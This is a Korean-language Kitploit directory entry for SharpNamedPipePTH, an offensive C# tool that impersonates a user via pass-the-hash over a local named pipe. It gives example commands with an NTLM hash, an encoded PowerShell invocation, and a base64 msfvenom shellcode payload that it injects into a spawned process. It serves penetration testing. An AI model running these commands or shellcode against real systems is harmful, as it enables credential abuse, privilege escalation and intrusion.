Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
SharpNamedPipePTH — 토큰 가장을 위해 명명된 파이프로 해시 전달 | Kitploit
도구/GitHubGitHub/s3cur3th1ssh1t/sharpnamedpipepth
Privilege EscalationPayload GenerationImpersonation ToolsLateral MovementPost-ExploitationPenetration TestingAuthenticationRed Teaming
GitHubs3cur3th1ssh1t/sharpnamedpipepth

SharpNamedPipePTH

토큰 가장을 위해 명명된 파이프로 해시 전달

저장소 보기
3105174년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

SharpNamedPipePTH

이 프로젝트는 로컬 Named Pipe에서 Pass-the-Hash 인증을 사용하여 사용자 가장(Impersonation)을 수행하는 C# 도구입니다. 사용하려면 로컬 관리자 권한 또는 SEImpersonate 권한이 필요합니다. 설명을 위한 블로그 게시물이 있습니다:

https://s3cur3th1ssh1t.github.io/Named-Pipe-PTH/

이 프로젝트는 Sharp-SMBExec 프로젝트의 코드를 기반으로 합니다.

과거에 Offensive Security 프로젝트 상황에서 낮은 권한 사용자 계정의 NTLM 해시를 이미 가지고 있었고, 현재 침해된 시스템에서 해당 사용자에 대한 셸이 필요했지만 기존 공개 도구로는 불가능했던 경우가 있었습니다. 그러한 상황에 두 가지 사실을 더 상상해 보십시오. NTLM 해시를 크랙할 수 없었고 그리고 피해자 사용자의 프로세스가 없어서 그 안에 셸코드를 실행하거나 해당 프로세스로 마이그레이션할 수 없었습니다. 일부에게는 터무니없는 극단적인 사례처럼 들릴 수 있습니다. 하지만 저는 그런 상황을 여러 번 경험했습니다. 한 번의 엔게이지먼트에서만이 아니라, 특정 상황에 맞는 올바른 도구/기술을 찾는 데 많은 시간을 소비했습니다.

제가 도구/기술에 대해 가진 개인적인 목표는 다음과 같습니다:

  • 피해자 사용자 계정으로 완전한 기능의 셸 또는 C2 연결
  • 또한 낮은 권한 계정을 가장할 수 있어야 합니다. 엔게이지먼트 목표에 따라 CEO, HR 계정, SAP 관리자 등의 특정 사용자로 시스템에 접근해야 할 수 있습니다.
  • 도구는 C2 모듈로 사용될 수 있습니다.

안타깝게도 가장된 사용자는 네트워크 인증이 허용되지 않습니다. 새 프로세스가 제한된 가장 토큰(Impersonation Token)을 사용하기 때문입니다. 따라서 이 기법은 다른 사용자로 로컬 작업을 수행할 때만 사용할 수 있습니다.

SharpNamedPipePTH를 사용하는 두 가지 방법이 있습니다. 바이너리를 실행하거나(인수 있거나 없음):

SharpNamedPipePTH.exe username:testing hash:7C53CFA5EA7D0F9B3B968AA0FB51A3F5 binary:C:\windows\system32\cmd.exe

alt text

SharpNamedPipePTH.exe username:testing domain:localhost hash:7C53CFA5EA7D0F9B3B968AA0FB51A3F5 binary:"C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" arguments:"-nop -w 1 -sta -enc bgBvAHQAZQBwAGEAZAAuAGUAeABlAAoA"

또는 다른 사용자로 셸코드를 실행할 수 있습니다:

SharpNamedPipePTH.exe username:testing domain:localhost hash:7C53CFA5EA7D0F9B3B968AA0FB51A3F5 shellcode:/EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu+AdKgpBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/VY21kLmV4ZQA=

이는 msfvenom -p windows/x64/exec CMD=cmd.exe EXITFUNC=threadmsfvenom -p windows/x64/exec CMD=cmd.exe EXITFUNC=thread | base64 -w0 입니다.

아직 셸코드 실행에 만족하지 않습니다. 현재는 가장된 사용자로 notepad를 생성하고 D/Invoke CreateRemoteThread Syscall을 통해 해당 새 프로세스에 셸코드를 주입하기 때문입니다. 여전히 백그라운드에서 프로세스를 생성하거나 메모리 할당을 위해 대상 사용자의 프로세스 없이 셸코드를 실행할 방법을 찾고 있습니다.

alt text

도구 다운로드